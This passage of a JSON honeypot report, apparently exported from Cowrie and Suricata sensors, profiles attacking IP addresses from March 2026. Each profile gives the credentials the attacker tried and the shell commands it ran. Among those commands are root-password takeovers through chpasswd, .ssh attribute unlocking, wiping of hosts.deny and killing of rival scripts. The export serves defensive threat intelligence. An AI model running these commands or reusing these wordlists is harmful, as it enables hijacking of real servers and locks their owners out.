        "1234@Abcd",
        "123QWEqwe",
        "1Qa2Ws3Ed",
        "Amine123",
        "Huawei2025",
        "Jupyter123",
        "Mirror123",
        "Ops123!",
        "Root2024",
        "Tf123456789",
        "ZAQ!xsw2CDE#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\niRRNTZveMncg\\niRRNTZveMncg\\n\"|passwd",
        "echo \"ljdpass\\nWFKhmtF9a1vU\\nWFKhmtF9a1vU\\n\"|passwd",
        "echo \"password\\nOF4gnPzu3hf0\\nOF4gnPzu3hf0\\n\"|passwd",
        "echo \"root:aNZgdvggx72n\"|chpasswd|bash",
        "echo \"root:q6fmVEIMjyYH\"|chpasswd|bash",
        "echo -e \"123\\niRRNTZveMncg\\niRRNTZveMncg\"|passwd|bash",
        "echo -e \"ljdpass\\nWFKhmtF9a1vU\\nWFKhmtF9a1vU\"|passwd|bash",
        "echo -e \"password\\nOF4gnPzu3hf0\\nOF4gnPzu3hf0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 46887,
      "as_org": "Crown Castle Fiber LLC",
      "threat_score": 43.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 668,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T07:40:54.360000+00:00",
        "last_seen_30d": "2026-03-28T19:46:08.308000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 543,
        "Suricata": 125
      }
    },
    "191.6.25.239": {
      "attack_count": 518,
      "first_seen": "2026-03-07T12:59:07.276Z",
      "last_seen": "2026-03-19T08:56:01.354Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "it",
        "petr",
        "sky",
        "amp",
        "firewall",
        "frappe",
        "frontend",
        "hik",
        "iptv",
        "jellyfin",
        "jino",
        "kafka",
        "kubernetes",
        "manager",
        "n8n",
        "noreply",
        "nuc",
        "pengbo"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "1234",
        "12345",
        "123456",
        "123",
        "12345678",
        "It123!",
        "Kubernetes123",
        "Manager123!",
        "Pablo123",
        "Petr123",
        "Qwerty123@",
        "Zw123",
        "admin123",
        "firewall",
        "jellyfinpass",
        "jino",
        "kafkapass",
        "n8n"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nzhqH2pLinO8M\\nzhqH2pLinO8M\\n\"|passwd",
        "echo \"It123!\\nW67PYpkUxjiG\\nW67PYpkUxjiG\\n\"|passwd",
        "echo \"Petr123\\njsa4bYZhPUxh\\njsa4bYZhPUxh\\n\"|passwd",
        "echo \"kafkapass\\nBquDb9N0izfT\\nBquDb9N0izfT\\n\"|passwd",
        "echo \"root:LTIzjjOi9OEz\"|chpasswd|bash",
        "echo \"sky\\nLqGVLKuZOsG3\\nLqGVLKuZOsG3\\n\"|passwd",
        "echo -e \"12345678\\nzhqH2pLinO8M\\nzhqH2pLinO8M\"|passwd|bash",
        "echo -e \"It123!\\nW67PYpkUxjiG\\nW67PYpkUxjiG\"|passwd|bash",
        "echo -e \"Petr123\\njsa4bYZhPUxh\\njsa4bYZhPUxh\"|passwd|bash",
        "echo -e \"kafkapass\\nBquDb9N0izfT\\nBquDb9N0izfT\"|passwd|bash",
        "echo -e \"sky\\nLqGVLKuZOsG3\\nLqGVLKuZOsG3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Presidente Dutra",
      "asn": 263546,
      "as_org": "TURBONETT TELECOMUNICACOES LTDA. - ME",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.8,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 603,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T12:59:07.276000+00:00",
        "last_seen_30d": "2026-03-19T08:57:10.307000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 518,
        "Suricata": 85
      }
    },
    "123.58.213.127": {
      "attack_count": 445,
      "first_seen": "2026-03-03T23:42:04.656Z",
      "last_seen": "2026-03-16T17:57:43.547Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "appserver",
        "eder",
        "hyun",
        "kafka",
        "ks",
        "kubernetes",
        "patrick",
        "tms"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "123123...",
        "12345678",
        "142857",
        "Bingo@1993",
        "Centos2025",
        "Jw123456",
        "Welcome2025",
        "appserver123!",
        "asdf1234@",
        "kafka123!",
        "khongnho",
        "kubernetespass",
        "lol12345",
        "p@ssW0rd",
        "passwd",
        "qaz12345@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:HG9lgj2PMzGp\"|chpasswd|bash",
        "echo \"root:QTNKpC4Qxbs5\"|chpasswd|bash",
        "echo \"root:qctCTqPjbHhU\"|chpasswd|bash",
        "echo \"root:rgEtnflnoQJ4\"|chpasswd|bash",
        "echo \"root:wOrsmZ2pcgV2\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 516,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:42:04.656000+00:00",
        "last_seen_30d": "2026-03-16T17:58:47.173000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 445,
        "Suricata": 71
      }
    },
    "165.154.36.71": {
      "attack_count": 444,
      "first_seen": "2026-03-05T07:02:49.871Z",
      "last_seen": "2026-03-20T04:06:25.020Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "root",
        "dario",
        "jim",
        "user2",
        "admin",
        "developer",
        "email",
        "jenkins",
        "taibabi",
        "tester",
        "user",
        "user02"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "123qweASD",
        "2024@@",
        "@a",
        "A123456789**963",
        "Aa-2025",
        "Aa@123456789",
        "QWE",
        "Root2025",
        "Taibabi123",
        "a12345691",
        "ab123456",
        "dario",
        "developer@2024",
        "jenkins123456",
        "password",
        "tester123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Aa-2025\\ng3DdiIiZGqKm\\ng3DdiIiZGqKm\\n\"|passwd",
        "echo \"dario\\n4yN2EFcr35V2\\n4yN2EFcr35V2\\n\"|passwd",
        "echo \"password\\n0MspQYE9rJs9\\n0MspQYE9rJs9\\n\"|passwd",
        "echo \"root:63VZe5ikpQpm\"|chpasswd|bash",
        "echo \"user2123!\\ngxsxBWMU2bIJ\\ngxsxBWMU2bIJ\\n\"|passwd",
        "echo -e \"Aa-2025\\ng3DdiIiZGqKm\\ng3DdiIiZGqKm\"|passwd|bash",
        "echo -e \"dario\\n4yN2EFcr35V2\\n4yN2EFcr35V2\"|passwd|bash",
        "echo -e \"password\\n0MspQYE9rJs9\\n0MspQYE9rJs9\"|passwd|bash",
        "echo -e \"user2123!\\ngxsxBWMU2bIJ\\ngxsxBWMU2bIJ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 513,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T07:02:49.871000+00:00",
        "last_seen_30d": "2026-03-20T04:07:32.909000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 444,
        "Suricata": 69
      }
    },
    "172.185.24.228": {
      "attack_count": 435,
      "first_seen": "2026-03-18T14:03:43.829Z",
      "last_seen": "2026-03-31T23:40:24.961Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ahmad",
        "ashish",
        "lg",
        "administrador",
        "auser",
        "comp",
        "escaner",
        "gateway",
        "jitendra",
        "mc",
        "nasuser",
        "silvia",
        "sonarqube",
        "user3"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "!@#123asd",
        "1234",
        "123456",
        "12345678",
        "123@456",
        "Admin.321",
        "Admin888.",
        "Mc123",
        "Password!!",
        "Root123456.",
        "Server-OptionS-Portable",
        "Yj123456!",
        "abc54321",
        "admin1122",
        "ahmad1234",
        "albert",
        "ant@$.Alph@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ahmad1234\\nLzbPSb41DqUQ\\nLzbPSb41DqUQ\\n\"|passwd",
        "echo \"ashish1234\\n74UBDouiIXE5\\n74UBDouiIXE5\\n\"|passwd",
        "echo \"password\\nrbtDnnorwPaa\\nrbtDnnorwPaa\\n\"|passwd",
        "echo \"root:LRY0BztJsK39\"|chpasswd|bash",
        "echo -e \"ahmad1234\\nLzbPSb41DqUQ\\nLzbPSb41DqUQ\"|passwd|bash",
        "echo -e \"ashish1234\\n74UBDouiIXE5\\n74UBDouiIXE5\"|passwd|bash",
        "echo -e \"password\\nrbtDnnorwPaa\\nrbtDnnorwPaa\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 50.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 530,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T14:03:43.829000+00:00",
        "last_seen_30d": "2026-03-31T23:41:27.938000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 435,
        "Suricata": 95
      }
    },
    "103.76.120.204": {
      "attack_count": 360,
      "first_seen": "2026-03-07T02:43:40.700Z",
      "last_seen": "2026-03-25T20:06:56.676Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "atlas",
        "denis",
        "netflow",
        "nutanix",
        "backupuser",
        "crafty",
        "ekp",
        "frappe",
        "frontend",
        "showroom",
        "usuario",
        "xwiki"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1234",
        "12345678",
        "@qwer2024",
        "@qwer2025",
        "Cloud@2025",
        "Nutanix123",
        "P@ssw0rd12",
        "Usuario123!",
        "ekp1234",
        "frappe",
        "frontend123",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n59z65LNLRpMu\\n59z65LNLRpMu\\n\"|passwd",
        "echo \"123\\nSNXBRovPVTzX\\nSNXBRovPVTzX\\n\"|passwd",
        "echo \"Nutanix123\\n2XlEegqd7QOe\\n2XlEegqd7QOe\\n\"|passwd",
        "echo \"root:MamFAnriYoD4\"|chpasswd|bash",
        "echo -e \"123456\\n59z65LNLRpMu\\n59z65LNLRpMu\"|passwd|bash",
        "echo -e \"123\\nSNXBRovPVTzX\\nSNXBRovPVTzX\"|passwd|bash",
        "echo -e \"Nutanix123\\n2XlEegqd7QOe\\n2XlEegqd7QOe\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 43.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.2,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 417,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T02:43:40.700000+00:00",
        "last_seen_30d": "2026-03-25T20:07:57.999000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 360,
        "Suricata": 57
      }
    },
    "171.231.185.254": {
      "attack_count": 297,
      "first_seen": "2026-03-24T06:04:44.575Z",
      "last_seen": "2026-03-24T06:31:53.919Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "support",
        "admian",
        "anton",
        "belkinstyle",
        "cf1c22",
        "cisco",
        "config",
        "demo",
        "developer",
        "ftp",
        "ftpuser",
        "guest",
        "help",
        "kim",
        "library",
        "master",
        "mms"
      ],
      "passwords_attempted": [
        "admin",
        "abc123",
        "password",
        "039715582364317",
        "1111",
        "1234",
        "123456",
        "12345678",
        "123456789",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin@123",
        "aerohive",
        "anton",
        "asteriskftp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 421,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T06:04:44.575000+00:00",
        "last_seen_30d": "2026-03-24T06:32:59.682000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 297,
        "Suricata": 124
      }
    },
    "45.78.230.231": {
      "attack_count": 296,
      "first_seen": "2026-03-03T07:45:39.474Z",
      "last_seen": "2026-03-17T22:10:10.997Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ruby",
        "sentry",
        "anthony",
        "ftp",
        "kk",
        "luca",
        "ms",
        "sandbox",
        "share",
        "user8",
        "vagrant"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "Ftp123!",
        "Luca",
        "Ruby123",
        "Sandbox123!",
        "Vagrant123",
        "a1d2m3i4n5",
        "a@q3@qpO$jjO$jgO7pz@",
        "aa271694",
        "anthony@123456",
        "cloud",
        "kkpass",
        "ms123",
        "qaz123...",
        "qwe123$%^",
        "sentrypassword",
        "share",
        "woaini1314."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "which ls",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "whoami",
        "echo \"Ruby123\\nuySo1CQGNcpP\\nuySo1CQGNcpP\\n\"|passwd",
        "echo \"root:ghkCpGpQO1Ql\"|chpasswd|bash",
        "echo \"sentrypassword\\n3J8uYh84w6Gc\\n3J8uYh84w6Gc\\n\"|passwd",
        "echo -e \"Ruby123\\nuySo1CQGNcpP\\nuySo1CQGNcpP\"|passwd|bash",
        "echo -e \"sentrypassword\\n3J8uYh84w6Gc\\n3J8uYh84w6Gc\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 370,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T07:45:39.474000+00:00",
        "last_seen_30d": "2026-03-17T22:11:11.967000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 296,
        "Suricata": 74
      }
    },
    "141.94.237.134": {
      "attack_count": 291,
      "first_seen": "2026-03-09T21:26:57.863Z",
      "last_seen": "2026-03-26T07:21:09.178Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "kafka",
        "robot",
        "abhishek",
        "adrian",
        "bert",
        "bot",
        "builder",
        "francisco",
        "frappe",
        "huang",
        "mahesh",
        "mailuser",
        "one",
        "socks",
        "superset",
        "tian",
        "tunnel"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123456",
        "1234",
        "1234Qwer!",
        "Huang123!",
        "P@ssw0rd2025",
        "Vip1123",
        "Xml123",
        "abhishekpass",
        "bert",
        "francisco123",
        "frappe12345",
        "kafka1234",
        "mahesh",
        "one",
        "superset123",
        "test@123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nejCEU3o2Rl6s\\nejCEU3o2Rl6s\\n\"|passwd",
        "echo \"123\\nV37hZMi9FV0x\\nV37hZMi9FV0x\\n\"|passwd",
        "echo -e \"123456\\nejCEU3o2Rl6s\\nejCEU3o2Rl6s\"|passwd|bash",
        "echo -e \"123\\nV37hZMi9FV0x\\nV37hZMi9FV0x\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 43.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.6,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T21:26:57.863000+00:00",
        "last_seen_30d": "2026-03-26T07:22:18.694000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 291,
        "Suricata": 76
      }
    },
    "159.89.29.48": {
      "attack_count": 262,
      "first_seen": "2026-03-02T20:20:36.826Z",
      "last_seen": "2026-03-02T21:15:20.343Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "password",
        "password1",
        "qwerty",
        "000000",
        "123",
        "1234",
        "1q2w3e4r",
        "654321",
        "admin",
        "passw0rd",
        "Admin123",
        "admin123",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 381,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:19:55.320000+00:00",
        "last_seen_30d": "2026-03-02T21:16:25.182000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 119
      }
    },
    "36.64.162.195": {
      "attack_count": 262,
      "first_seen": "2026-03-10T17:40:06.724Z",
      "last_seen": "2026-03-10T18:03:38.891Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "clawd",
        "peter",
        "sri",
        "c",
        "jason",
        "mcuser",
        "root",
        "sakura",
        "sameer",
        "test2",
        "yujie"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "12345",
        "12345678",
        "Root@123",
        "clawd@123",
        "jasonpass",
        "sakura1234",
        "sameer1234",
        "test2pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
